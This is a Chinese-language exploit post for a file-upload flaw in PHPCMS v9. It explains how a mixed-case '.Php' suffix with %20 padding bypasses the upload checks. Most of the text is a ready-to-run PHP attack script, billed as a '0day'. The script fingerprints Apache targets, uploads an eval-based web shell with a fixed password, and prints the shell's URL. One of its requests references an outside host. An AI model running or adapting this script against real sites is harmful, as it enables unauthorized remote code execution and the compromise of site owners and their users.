PHPCMS v9 Getshell（apache解析）漏洞EXP

漏洞文件：phpcms\modules\attachment\attachments.php
后缀检测：phpcms\modules\attachment\functions\global.func.php

Fileext函数是对文件后缀名的提取。
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
经过此函数提取到的后缀还是jpg，因此正在is_image()函数中后缀检测被绕过了。
我们回到public function crop_upload() 函数中
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
在经过了is_image的判断之后又来了个.php的判断，在此程序员使用的是strpos函数
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀，大家应该明白了，它用在apache搭建的服务器上可以被解析。

PHPCMS V9 EXP

<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY
 
code by L.N.
 
apache 适用(利用的apache的解析漏洞) // www.uedbox.com
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path
 
Example:
1.php '.$argv[0].' lanu.sinaapp.com
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}
 
$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if ($ret=Create_dir($url, $path)) {
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if ($matches[0][0]) {
if (strpos($matches[0][0], 'Apache') == false) {
echo "\n亲！此网站不是apache的网站。\n";
exit;
}
}
$ret = GetShell($url, $phpshell, $path, $file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if ($matches[0][0]) {
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";
exit;
} else {
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if ($matches[0][0]) {
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";
exit;
} else {
echo "\r\n没得到！\n";
exit;
}
}
}
 
function GetShell($url, $shell, $path, $js)
{
$content =$shell;
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url, 80);
if (!$ock) {
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";
exit;
} else {
fwrite($ock, $data);
$resp = '';
while (!feof($ock)) {
$resp.=fread($ock, 1024);
}
return $resp;
}
}
 
function Create_dir($url, $path='')
{
$content ='I love you';
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url, 80);
if (!$ock) {
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";
exit;
}
fwrite($ock, $data);
$resp = '';
while (!feof($ock)) {
$resp.=fread($ock, 1024);
}
return $resp;
}
?>